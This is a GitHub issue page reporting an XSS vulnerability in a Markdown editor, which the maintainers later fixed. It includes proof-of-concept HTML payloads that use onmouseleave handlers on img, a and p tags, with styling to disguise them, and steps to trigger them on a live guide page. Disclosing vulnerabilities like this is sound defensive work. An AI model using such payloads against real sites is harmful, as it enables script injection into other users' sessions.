Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS 安全漏洞 #1275

Closed
Vanessa219 opened this issue Aug 4, 2022 · 1 comment
Closed

XSS 安全漏洞 #1275

Vanessa219 opened this issue Aug 4, 2022 · 1 comment
Assignees
Milestone

Comments

@Vanessa219
Copy link
Owner

PoC :

<input autofocus>
<img src=https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png onmouseleave=alert('XSS')>

Steps:

1.Open the https://ld246.com/guide/markdown
2.Enter the XSS PoC
3.When the user hovers the mouse away from the picture, XSS is triggered via a mouse event.
some other tags are also be affected such as p, a, svg, etc.

<input autofocus>
<a src=1 onmouseleave=alert('XSS')>This is a XSS link</a>

<input autofocus>
<p src=1 onmouseleave=alert('XSS')>This is a XSS textarea</p>
...

It also can add any styles to disguise such as size, color, etc.

<input autofocus>
<p src=1 onmouseleave=alert('XSS') style="font-size: 200%;color: green;">here are a large textarea</p>
@Vanessa219 Vanessa219 assigned Vanessa219 and 88250 and unassigned Vanessa219 Aug 4, 2022
@88250 88250 changed the title XSS 漏洞 XSS 安全漏洞 Aug 4, 2022
@88250 88250 added this to the 3.8 milestone Aug 4, 2022
Vanessa219 added a commit that referenced this issue Aug 5, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants